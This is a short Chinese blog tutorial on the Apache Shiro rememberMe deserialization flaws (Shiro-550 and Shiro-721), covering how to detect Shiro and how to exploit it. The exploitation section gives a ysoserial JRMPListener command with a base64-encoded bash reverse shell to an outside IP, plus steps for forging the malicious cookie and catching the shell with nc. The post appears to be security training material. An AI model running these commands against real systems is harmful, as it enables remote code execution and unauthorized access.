反序列化漏洞-Apache Shiro

Apache Shiro

一、shiro的相关介绍

1、Shiro概述

Apache Shiro是一个强大易用的Java安全框架,提供了认证、授权和会话管理等功能。Shiro框架直观、易用,同时也能提供更健壮的安全性。

2、Shiro历史漏洞(Shiro-550)

​ Apache Shiro框架提供了记住我的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。在服务端对RememberMe的Cookie值,先进行base64解码然后AES序列化,就导致了反序列化RCE漏洞。

3、Shiro历史漏洞(Shiro-721)

​ 由于Apache Shiro Cookie中通过AES-128-CBC模式加密的RememberMe字段存在问题,用户可以通过Padding Oracle加密生成的攻击代码来构造恶意的RememberMe字段,并重新请求网站,进行反序列化攻击,最终导致任意代码执行。

二、shiro的识别与发现

1、Shiro组件的识别

登录网站,输入身份信息,点击RememberMe之后,使用bp进行数据抓包,重定向到Repeater页面,发现Request页面里面的Set-Cookie:rememberMe=deleteMe,说明使用了Shiro组件。

2、Shiro漏洞检测(dnslog)

使用ShiroScan检测URL地址,查看是否有漏洞,将分析结构展示在dnslog/ceye平台。

三、Shiro漏洞利用

1、Shiro-550的利用(反弹shell)

使用nc监听一个端口,JavaRuntime配合bash编码(可以将管道符进行base64编码),在线编码地址: Runtime.exec Payload Generater | AresX's Blog (ares-x.com)

通过ysoserial中JRMP监听模块,监听一个端口并执行反弹shell命令。java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections4 "要执行的命令"。

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMzkuOS4xOTguMzAvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}"

使用命令生成我们自己主机的cookie,然后复制到Shiro组件的请求体的Cookie那一块。

python shiro-cookie.py 192.168.130.137:1099

最后在本地监听1234端口,就拿到了靶机的权限了。

posted @ 2023-05-15 18:24  冬璃  阅读(133)  评论(0编辑  收藏  举报